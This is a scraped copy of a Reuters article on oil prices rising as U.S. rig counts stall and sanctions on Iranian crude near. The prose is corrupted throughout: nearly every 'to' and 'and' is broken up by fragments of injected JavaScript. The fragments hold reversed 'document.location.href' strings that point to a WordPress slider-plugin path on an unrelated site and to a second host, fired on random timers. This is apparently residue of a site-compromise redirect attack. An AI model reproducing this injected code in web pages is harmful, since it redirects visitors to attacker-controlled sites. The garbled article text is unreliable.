Oil up as U.S. drilling stalls, Iranian sanctions bite

LONDON (Reuters) – Oil prices rose on Monday as U.S. drilling stalled doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and invesdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors anticipated lower supply once new U.S. sanctions against Iran’s crude exports kick in from November.

Benchmark Brent crude oil rose $1.09 a barrel, or 1.4 percent, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to a high of $77.92 doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and was trading at $77.50 by 1130 GMT. U.S. light crude was 50 cents higher at $68.25.

“A higher oil price scenario is built on lower exports from Iran due dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to U.S. sanctions, capped U.S. shale output growth, instability in production in countries like Libya doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Venezuela doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and no material negative impact from a U.S./China trade war on oil demdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and in the next 6-9 months,” said Harry Tchilinguirian, oil strategist at French bank BNP Paribas.

“We see Brent trading above $80 under (that) scenario,” he dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}told Reuters Global Oil Forum.

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U.S. drillers cut two oil rigs last week, bringing the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}total count dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to 860, Baker Hughes said on Friday.

The number of rigs drilling for oil in the United States has stalled since May, reflecting increases in well productivity but also bottlenecks doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and infrastructure constraints.

Outside the United States, Iranian crude oil exports are declining ahead of a November deadline for the implementation of new U.S. sanctions.

Although many importers of Iranian oil have said they oppose sanctions, few seem prepared dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to defy Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}ton.

“Governments can talk dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tough,” said Energy consultancy FGE.

“They can say they are going dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to stdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and up dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Trump doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and/or push for waivers. But generally the companies we speak dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to … say they won’t risk it,” FGE said. “U.S. financial penalties doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the loss of shipping insurance scare everyone.”

While Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}ton exerts pressure on countries dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to cut imports from Iran, it is also urging other producers dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to raise output in order dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to hold down prices.

U.S. Energy Secretary Rick Perry will meet counterparts from Saudi Arabia doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Russia on Monday doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Thursday respectively as the Trump administration encourages the world’s biggest exporter doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and producer dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to keep output up.

Invesdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors are concerned about the impact on oil demdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and of the trade dispute between the United States doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and other large economies, as well as the weakness of emerging markets.

“Trade wars, doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and especially rising interest rates, can spell trouble for the emerging markets that drive (oil) demdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and growth,” FGE said.

Despite this, the consultancy said the likelihood of much weaker oil prices was fairly low as the Organization of the Petroleum Exporting Countries would probably adjust output dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to stabilize prices.

Source: https://uk.reuters.com